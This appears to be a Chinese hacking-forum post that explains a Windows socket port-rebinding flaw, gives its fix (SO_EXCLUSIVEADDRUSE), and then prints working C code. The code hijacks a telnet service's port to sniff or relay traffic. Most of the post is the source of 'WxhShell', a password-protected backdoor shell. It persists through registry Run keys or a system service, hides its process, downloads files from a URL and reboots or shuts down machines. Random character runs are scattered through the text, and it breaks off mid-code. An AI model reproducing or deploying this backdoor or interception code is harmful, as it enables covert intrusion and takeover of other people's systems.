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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: xCU^4DO3p  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); On x[}x  
zAT7 ^q^  
  saddr.sin_family = AF_INET; wh4ik`S 1  
;UuCSfs{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7<{g+Q~7*  
p!qV!:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^Ud1 ag!-  
\a\-hm  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 U9k;)fK  
`K -j  
  这意味着什么?意味着可以进行如下的攻击: -*xm<R],  
g}>Sc=e <  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 { No*Z'X  
x'IVP[xh`A  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8m% +O#  
GJ YXCi  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hBb&-/  
wdS4iQD  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  e$H N/O  
B*=m%NXf  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #[ZF'9x  
vv='.R, D  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =!}n .  
Uedzt  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7&oT} Z  
'Cw&9cL9w  
  #include ( R2432R}J  
  #include +ob<? T  
  #include g\9I&z~?  
  #include    .|>zQ(7YC  
  DWORD WINAPI ClientThread(LPVOID lpParam);   q\+khy,k  
  int main() OZ{YQ}t{^1  
  { #rZF4>c  
  WORD wVersionRequested; -+vA9,pI  
  DWORD ret; W(jXOgs+_  
  WSADATA wsaData; G@s]HJ:  
  BOOL val; j7LuN  
  SOCKADDR_IN saddr; LxD >eA  
  SOCKADDR_IN scaddr; \:>GF-Z(  
  int err; `qP <S  
  SOCKET s; FR%9Qb7  
  SOCKET sc; h)S223[  
  int caddsize; XLwmXi  
  HANDLE mt; IE/F =Wr  
  DWORD tid;   z1wJ-l  
  wVersionRequested = MAKEWORD( 2, 2 ); QuG=am?l`  
  err = WSAStartup( wVersionRequested, &wsaData ); P#e1?  
  if ( err != 0 ) { M#<U=Ha  
  printf("error!WSAStartup failed!\n"); <'s_3AC  
  return -1; s?qRy 2  
  } %V r vu5  
  saddr.sin_family = AF_INET; ahezDDR-.i  
   21(8/F ~{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5R^e  
)ro3yq4??  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |Z\?nZ~  
  saddr.sin_port = htons(23); o }EipTL  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >%qk2h>  
  { "9mVBa|Q  
  printf("error!socket failed!\n"); DeqTr:  
  return -1; 8sMDe'  
  } +7yirp~`K  
  val = TRUE; &)(>e}es  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 2|="!c8K  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9  Vn  
  { ZUDdLJ  
  printf("error!setsockopt failed!\n"); Vz=ByyC  
  return -1; AH*{Bi[vX  
  } l,z# : k  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +|Tz<\.C  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 F.9SyB$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 M5$YFGGR  
FE}!I  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >j5,Z]  
  { >F@qFP N]  
  ret=GetLastError(); 4 h}03 oG  
  printf("error!bind failed!\n"); +TA 'P$j  
  return -1; \BIa:}9O  
  } +w'"N  
  listen(s,2); x#wkODLqi  
  while(1) m8Wv46%  
  { b=V"$(Q  
  caddsize = sizeof(scaddr); , 7` /D  
  //接受连接请求 X5s.F%Np!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &Z kY9XO  
  if(sc!=INVALID_SOCKET) >[,ywRJ#_}  
  { 'brt?oZ%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !v^{n+  
  if(mt==NULL) h$F.(NIYe  
  { N)F&c!anh  
  printf("Thread Creat Failed!\n"); J<p.J3I  
  break; M:%6$``  
  } 8KxBN)fO;  
  } 4r'QP .h  
  CloseHandle(mt); 1iS]n;xcl/  
  } +I>u${sVx*  
  closesocket(s); uc.dtq!   
  WSACleanup(); H C %tJ:G  
  return 0; hxwo<wEg  
  }   B=0U^wL  
  DWORD WINAPI ClientThread(LPVOID lpParam) wjJM\BKr`  
  { wR7Ja cKv  
  SOCKET ss = (SOCKET)lpParam; GM1z@i\5  
  SOCKET sc; }}R?pU_  
  unsigned char buf[4096]; IJWUNKqo=  
  SOCKADDR_IN saddr; H2f!c{t$p  
  long num; = [N= mC  
  DWORD val; P}YtT3. K  
  DWORD ret; *u?QO4>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 y. xt7 F1  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   kTC'`xv  
  saddr.sin_family = AF_INET; =H<I` J'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |E%i t?3M  
  saddr.sin_port = htons(23); x,U '!F  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0 _!')+  
  { (d> M/x?W  
  printf("error!socket failed!\n"); cRR[ci34k  
  return -1; $)HD`E  
  } uX.^zg]}%  
  val = 100; + ESEAi91  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iy<|<*s2D  
  { >9WJa5{  
  ret = GetLastError(); UN FQ`L  
  return -1; Q9i&]V[`  
  } S]}hh,A  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w^ AY= Fc  
  {  X.q,  
  ret = GetLastError(); TFfV?rBI  
  return -1; cO8':P5Q  
  } :.k1="H~@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) & bKl(,  
  { $;4y2?E  
  printf("error!socket connect failed!\n"); \ F\ /<  
  closesocket(sc); e_<'zH_1  
  closesocket(ss); W2$MH: j  
  return -1; O c[F  
  } $ \yZ;Z:  
  while(1) j_(DH2D  
  { &["s/!O1R  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 j&(Yk"j+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Ipp#{'Do  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $dxk;V  
  num = recv(ss,buf,4096,0); |41NRGgY  
  if(num>0) $wr B5m?  
  send(sc,buf,num,0); 2`|gnVw  
  else if(num==0) H%nA"-  
  break; D]?eRO9'  
  num = recv(sc,buf,4096,0); EJCf[#Sf  
  if(num>0)  Kl'u  
  send(ss,buf,num,0); 3R}O3#lj,  
  else if(num==0) F @%`(/^TA  
  break; yb-1zF|  
  } Q[vQT?J7  
  closesocket(ss); bpr  
  closesocket(sc); vvTQ!Aa  
  return 0 ; OV"uIY[%8V  
  } $fzO:br5WJ  
rexNsKRK_  
@QN(ouqQ  
========================================================== A_y]6~Mu?~  
Nv~H797B  
下边附上一个代码,,WXhSHELL $_ BoG  
FI(iqSJ6  
========================================================== d3[O!4<T  
>=6 j:  
#include "stdafx.h" <Jf[N=  
|3bCq(ZR\P  
#include <stdio.h> s3/iG37K  
#include <string.h> *=2sXH1j  
#include <windows.h> Uh w:XV@m  
#include <winsock2.h> f`gs/R  
#include <winsvc.h> 'vX:)ZDi  
#include <urlmon.h> /q^\g4J  
m8T< x>  
#pragma comment (lib, "Ws2_32.lib") JK/gq}c  
#pragma comment (lib, "urlmon.lib") 9n#lDL O  
t@;r~S b  
#define MAX_USER   100 // 最大客户端连接数 5r)]o'? s  
#define BUF_SOCK   200 // sock buffer V JJ6q  
#define KEY_BUFF   255 // 输入 buffer 6CV9ewr  
m]?C @ina  
#define REBOOT     0   // 重启 $(r/N"6)O2  
#define SHUTDOWN   1   // 关机 V0/PjD,jP  
D}MCVNd^  
#define DEF_PORT   5000 // 监听端口 lEYAq'=  
L25v7U  
#define REG_LEN     16   // 注册表键长度 W]CsKN,K  
#define SVC_LEN     80   // NT服务名长度 ~Z>!SMXp<  
6Mj (B*c  
// 从dll定义API 4Zn"K}q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Mb^E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); obz|*1M?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ubQbEv{(,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WAUgbImc{  
c+:XaDS-  
// wxhshell配置信息 )ppIO"\  
struct WSCFG { ls@j8bVv^  
  int ws_port;         // 监听端口 PB(q9gf"1}  
  char ws_passstr[REG_LEN]; // 口令 BY5ODc$  
  int ws_autoins;       // 安装标记, 1=yes 0=no \Q!I;  
  char ws_regname[REG_LEN]; // 注册表键名 &cSZ?0R  
  char ws_svcname[REG_LEN]; // 服务名 YApm)O={  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 69? wZfj'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y2o~~te  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A-&XgOL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^2a63_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @OGHS}-\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N \t( rp  
t) l  
}; o()No_.8H  
<}Hs@`jS  
// default Wxhshell configuration n)uck5  
struct WSCFG wscfg={DEF_PORT, M-V{(  
    "xuhuanlingzhe", \\)9QP?  
    1, O63:t$Yx#  
    "Wxhshell", UbEK2&q/8  
    "Wxhshell", }pJLK\  
            "WxhShell Service", asZ(Hz%  
    "Wrsky Windows CmdShell Service", EXEB A&*  
    "Please Input Your Password: ", \(&UDG$  
  1, GWa:C\YK  
  "http://www.wrsky.com/wxhshell.exe", ?0x=ascP  
  "Wxhshell.exe" G -V~6  
    };  va [r~  
928uGo5  
// 消息定义模块 ".7\>8A#a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8)ykXx/f@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mlO\wn-F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?`/DFI'_G  
char *msg_ws_ext="\n\rExit."; &e \UlM22  
char *msg_ws_end="\n\rQuit."; X.GK5Phd  
char *msg_ws_boot="\n\rReboot..."; ]S 3l' "  
char *msg_ws_poff="\n\rShutdown..."; IKVFbTX:y  
char *msg_ws_down="\n\rSave to "; O^~Z-; FA  
JFu9_=%+  
char *msg_ws_err="\n\rErr!"; "O/ 6SV  
char *msg_ws_ok="\n\rOK!"; dqgH"g  
6FkBb !ASk  
char ExeFile[MAX_PATH]; 7V2xg h!W  
int nUser = 0; O?$]/d  
HANDLE handles[MAX_USER]; }0}=-g&  
int OsIsNt; LaX<2]Tx:  
m0p%R>:5  
SERVICE_STATUS       serviceStatus; x K ;#C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mu{\_JX.A  
[tk6Kx8a  
// 函数声明 LDY3Ya`6m  
int Install(void); hjq@ .5  
int Uninstall(void); *t300`x  
int DownloadFile(char *sURL, SOCKET wsh); 0=k  
int Boot(int flag); 6E{(_i  
void HideProc(void); 2&zklXuo:  
int GetOsVer(void); 9/JB n  
int Wxhshell(SOCKET wsl); V~sfR^FQ'  
void TalkWithClient(void *cs); Vr:`?V9Q2(  
int CmdShell(SOCKET sock); C@3UsD\s(  
int StartFromService(void); mRIBE9K+&  
int StartWxhshell(LPSTR lpCmdLine); im@QJ :  
97k}{tG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7hhv/9L1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); w/e?K4   
x c|1?AFj  
// 数据结构和表定义 E5yn,-GyE0  
SERVICE_TABLE_ENTRY DispatchTable[] = `>& K=C?  
{ 8`z  
{wscfg.ws_svcname, NTServiceMain}, U&W/Nj  
{NULL, NULL} snYyxi  
}; [nf 5<  
L:\>)6]Ls  
// 自我安装 oFKTBH:I  
int Install(void) xEg@Y"NQ  
{ t 7D~JAx6  
  char svExeFile[MAX_PATH]; .q<5OE(f  
  HKEY key; SQJ +C%   
  strcpy(svExeFile,ExeFile); Mq='|0,  
i`w)dS  
// 如果是win9x系统,修改注册表设为自启动 Xc$Zkfmms  
if(!OsIsNt) { e F)my  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PlR$s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e5d STc`  
  RegCloseKey(key); {dYz|O<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 89j*uT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); trZU_eouI  
  RegCloseKey(key); c{j)beaS  
  return 0; ^Rh}[  
    } * !9=?  
  } L=dQ,yA  
} ^<3{0g-"AW  
else { 2B"tT"f  
*j<{3$6Ii  
// 如果是NT以上系统,安装为系统服务 ?}U?Q7vx@@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M'VJE|+t  
if (schSCManager!=0) _UV_n!R  
{ O1 !YHo  
  SC_HANDLE schService = CreateService n&2OfBJ  
  ( W5/|.}  
  schSCManager, LIll@2[  
  wscfg.ws_svcname, F!g;}_s9  
  wscfg.ws_svcdisp, P$.$M}rMv  
  SERVICE_ALL_ACCESS, |rI;OvZ\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]&s@5<S[  
  SERVICE_AUTO_START, bg5i+a,?  
  SERVICE_ERROR_NORMAL, g> m)XY  
  svExeFile, ?2q0[T?e  
  NULL, V\AY=u  
  NULL, 3WM*4   
  NULL, b94+GL U8b  
  NULL, c-"vQ>ux+  
  NULL 4K ]*bF44  
  ); $>T(31)c  
  if (schService!=0) ;Sfe.ky @6  
  { s>)?MB*vb  
  CloseServiceHandle(schService); h; 6G~D  
  CloseServiceHandle(schSCManager); fw5+eTQ^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PQUJUs  
  strcat(svExeFile,wscfg.ws_svcname); mkq246<D~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mWU d-|Ul  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h]vEXWpG]  
  RegCloseKey(key); J%lrXm(l{  
  return 0; ^r,0aNzAs  
    } }0sLeGJ!  
  } 5"ooam3  
  CloseServiceHandle(schSCManager); ..5. ":  
} MnlD87x@X  
} b~2LD3"3  
6z]y =J  
return 1; WD1>{TSn  
} 1'P4{T0 [  
bokr,I3  
// 自我卸载 0oZZLi  
int Uninstall(void) z4(`>z2a  
{ 6s>io%,:  
  HKEY key; {0 %  
q/Zs]Gz  
if(!OsIsNt) { SLNq%7apx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YP[8d,  
  RegDeleteValue(key,wscfg.ws_regname); UXh%DOq   
  RegCloseKey(key); N,UUM|?9_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "MK2QIo  
  RegDeleteValue(key,wscfg.ws_regname); b7'l3mQjk  
  RegCloseKey(key); %{rPA3Xoy  
  return 0; _SkiO }c8  
  } ]$#9B-uB  
} SAdo9m'  
} -q8l"i>h=  
else { ^j2ve's:  
L c )i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o'Fyo4Qd  
if (schSCManager!=0) abv*X 1  
{ l%xTF@4e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?op;#/Q(  
  if (schService!=0) \4>w17qng  
  { eSHsE 3}h  
  if(DeleteService(schService)!=0) { {|<yZ,,p  
  CloseServiceHandle(schService); 7rYBFSp  
  CloseServiceHandle(schSCManager); =oM#]M'G+(  
  return 0; =l:k($%%  
  } maa$kg8U*!  
  CloseServiceHandle(schService); KoA+Vv9  
  } 7w]3D  
  CloseServiceHandle(schSCManager); |!/+ T^u  
} :iGK9I  
} + )z5ai0m  
O hRf&5u$  
return 1; [#YzU^^Ib  
} V(:wYk?ZR  
22;B:  
// 从指定url下载文件 r)Vpt fg;  
int DownloadFile(char *sURL, SOCKET wsh) vz|(KN[  
{ Qv g_|~n  
  HRESULT hr; -ssmj8:Q\|  
char seps[]= "/"; L8H:, } 2  
char *token; R NQq"c\  
char *file; :I2,  
char myURL[MAX_PATH]; ~]].i~EV(  
char myFILE[MAX_PATH]; _CTg")0o  
ng~LCffpY  
strcpy(myURL,sURL); Z"qJil}  
  token=strtok(myURL,seps); ^Bo'87!.  
  while(token!=NULL) +FAxqCkA  
  { C<(qk_  
    file=token; o4OB xHKy  
  token=strtok(NULL,seps); <6s@eare8  
  } @2mWNYHR*>  
`.dwG3R  
GetCurrentDirectory(MAX_PATH,myFILE); 3,`M\#z%K  
strcat(myFILE, "\\"); KhP_U{)D  
strcat(myFILE, file); U&{w:P  
  send(wsh,myFILE,strlen(myFILE),0); 8aC=k@YE  
send(wsh,"...",3,0); _n!>*A!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Kv9FqrDj  
  if(hr==S_OK) kM[!UOnC!<  
return 0; $06('Hg&  
else 'U*#7 1S  
return 1; dh.{lvlX|  
j l]3B  
} Yyd]s\W  
'rS\9T   
// 系统电源模块 zb4{nzX=  
int Boot(int flag) j%D{z5,nKm  
{ iq?T&44&  
  HANDLE hToken; ~wF3$H.@;  
  TOKEN_PRIVILEGES tkp; +> d;%K  
>8x)\'w  
  if(OsIsNt) { 4mKH |\g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SSTn |  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *M*WjEOA  
    tkp.PrivilegeCount = 1; xWqV~NnE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :475FPy]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <}h <By)  
if(flag==REBOOT) { tN_=&|{WE4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $}0!dR2  
  return 0; 2y|n!p T  
} $Ff6nc=  
else { T31F8K3x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a7uL {*ZR  
  return 0; jIwN,H1$-  
} 3 {hUp81>  
  } Fw{68ggk  
  else { 8SL E*c^8  
if(flag==REBOOT) { n*' :,m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u 8<[Q]5  
  return 0; 8~yP?#p  
} &<_q00F  
else { :Ny[?jt c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) LFqY2,#i  
  return 0; K" |~D0Qgo  
} #_`p 0wY  
} ^$C&{%  
:VWN/m  
return 1; |(TEG.<g  
} Y2'HP)tfIw  
3TLym&  
// win9x进程隐藏模块 J]zhwM  
void HideProc(void) @o*~\E<T  
{ M(:bM1AD`u  
9Iq<*\V 4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +'iqGg-  
  if ( hKernel != NULL ) $aB`A$'hK  
  { \kf n,m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FV7'3fIa  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -!mtLaLw  
    FreeLibrary(hKernel); Gc*=n*@^K  
  } DfU= i'R  
!fd>wvJ,:  
return; 0VNpd~G$  
} gR gB= C{  
c`hENPhW  
// 获取操作系统版本 #8 ^b]  
int GetOsVer(void) -sdzA6dp  
{ Gd`7Tf)'  
  OSVERSIONINFO winfo; YlT&.G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b/JjA  
  GetVersionEx(&winfo); e6H}L:;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4p+Veo6B  
  return 1; i%F2^R@!q/  
  else Csp$_uDi  
  return 0; =8TBkxG  
} ?(Tin80=r  
=./PY10'  
// 客户端句柄模块 :f%kk atO  
int Wxhshell(SOCKET wsl) JUj.:n2e  
{ (CH6Q]Wi_!  
  SOCKET wsh; yiXb<g+B  
  struct sockaddr_in client; aIQC[ry  
  DWORD myID; ^c9_F9N  
6[RTL2&W  
  while(nUser<MAX_USER) 1JdMw$H  
{ ~Ym*QSD  
  int nSize=sizeof(client); ]bmf}&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f%1\1_^g  
  if(wsh==INVALID_SOCKET) return 1; UWhHzLcXh  
!FyO5`v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K^[m--  
if(handles[nUser]==0) /.rj\,  
  closesocket(wsh); 0bJT0_  
else $bF+J8%D  
  nUser++; c+7I  
  } | 2<zYY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WBJn1  
.HGK  3  
  return 0;  t5S|0/f  
} J}4RJ9  
&'i>d&  
// 关闭 socket p\#;(pf}s  
void CloseIt(SOCKET wsh) 1M?x,N_W  
{ [+CFQf>  
closesocket(wsh); ]\>MDH  
nUser--; c&%3k+j  
ExitThread(0); :SO4@JT{W  
} -:Fr($^  
}?Pa(0=U  
// 客户端请求句柄 |0>rojMq  
void TalkWithClient(void *cs) #K$0%0=M  
{ }weE^9GiJ  
7@ y}J5,  
  SOCKET wsh=(SOCKET)cs; LkK[,Qj  
  char pwd[SVC_LEN]; zL50|U0H  
  char cmd[KEY_BUFF]; d!Ws-kzE  
char chr[1]; Yt:%)&50}-  
int i,j;  r3OtQ  
;9fWxH  
  while (nUser < MAX_USER) { EV* |\ te  
-iW>T5f  
if(wscfg.ws_passstr) { S;iD~>KP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !B{(EL=g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1cMdoQ  
  //ZeroMemory(pwd,KEY_BUFF); k\/es1jOEh  
      i=0; Dp#27Yzc  
  while(i<SVC_LEN) { s(s_v ?k  
y,KZp2 j  
  // 设置超时 n>:e8KVM;  
  fd_set FdRead; qPUACuF'  
  struct timeval TimeOut; ;Z;` BGZJ  
  FD_ZERO(&FdRead); cFJZ|Ld  
  FD_SET(wsh,&FdRead); rW~G'  
  TimeOut.tv_sec=8; ,If"4C!w  
  TimeOut.tv_usec=0; B VH)!]m0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qX6zk0I a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VC Ay~,  
dvY3=~'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i!JSEQ_8  
  pwd=chr[0]; '&gUAt  
  if(chr[0]==0xd || chr[0]==0xa) { j\Fbi3H  
  pwd=0; 2JeEmG9  
  break; !^1oH**  
  } B%))HLo'  
  i++; LS# _K-  
    } #L*MMC"  
[5M!'  
  // 如果是非法用户,关闭 socket VzcW9'"#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /z)8k4  
} ,g|ht%"  
U}=H1f,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M3GFKWQI,`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6OQ\f,h@  
(f#{<^gd  
while(1) { AI9=?X<kh  
-A:'D8o#f  
  ZeroMemory(cmd,KEY_BUFF); Kl(u~/=6  
~aL?{kb+  
      // 自动支持客户端 telnet标准   (\%+id|/q@  
  j=0; lfw BUb  
  while(j<KEY_BUFF) { v"J|Ebx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cj[%.M5iBA  
  cmd[j]=chr[0]; H66~!J0;a  
  if(chr[0]==0xa || chr[0]==0xd) { ?ia O6HD  
  cmd[j]=0; N a.e1A&?j  
  break; [f$pq5f='  
  } &mA{_|>  
  j++; #X5Tt  ;  
    } N$ 2Iz  
!+Sd%2o  
  // 下载文件 ry* 9  
  if(strstr(cmd,"http://")) { q'biTn]2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1gYvp9Ma  
  if(DownloadFile(cmd,wsh)) N$Tzxs  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]tbl1=|  
  else }k8&T\V!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wG22ffaki  
  } oOQ0f |MGp  
  else { (1Jc-`  
KDDx[]1Q  
    switch(cmd[0]) { 0=OvVU;P  
  Ftu d6  
  // 帮助 'sI @e s  
  case '?': { pSpxd |k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #N\<(SD/  
    break; J'lqHf$T  
  } HuD~(CI.  
  // 安装 *NI hYg6  
  case 'i': { 5*$z4O:Aa  
    if(Install()) [{+ZQd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Z_f/@b  
    else ADA*w 1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oR<;Tr~{q  
    break; S?~/ V]  
    } 7{f{SIB  
  // 卸载 (*!4O>]  
  case 'r': { qKuHd~M{ 1  
    if(Uninstall()) t@`Sa<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;AarpUw'  
    else @=l.J+lh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \3j4=K'nE  
    break; l-[5Zl;"  
    }  0LUw  
  // 显示 wxhshell 所在路径 -kzg(+sm  
  case 'p': { 3HX-lg`0  
    char svExeFile[MAX_PATH]; hXn@vK6  
    strcpy(svExeFile,"\n\r"); S'AS,'EnY  
      strcat(svExeFile,ExeFile); Vjr}"K$Y  
        send(wsh,svExeFile,strlen(svExeFile),0); :HN\A4=kc(  
    break; @'?7au ''  
    } .[o?qCsw  
  // 重启 d1d:5 b  
  case 'b': { kmsgaB7?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1 swqs7rR|  
    if(Boot(REBOOT)) (R{z3[/u&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xm.["&  
    else { I;?np  
    closesocket(wsh); mC`U"rlK~  
    ExitThread(0); y@]:7  
    } G\S_e7$ /  
    break; 4p`z%U~=u  
    } t-J\j"~%+  
  // 关机 ]B-3Lh  
  case 'd': { \MmKz^tO  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p!cNn7{;  
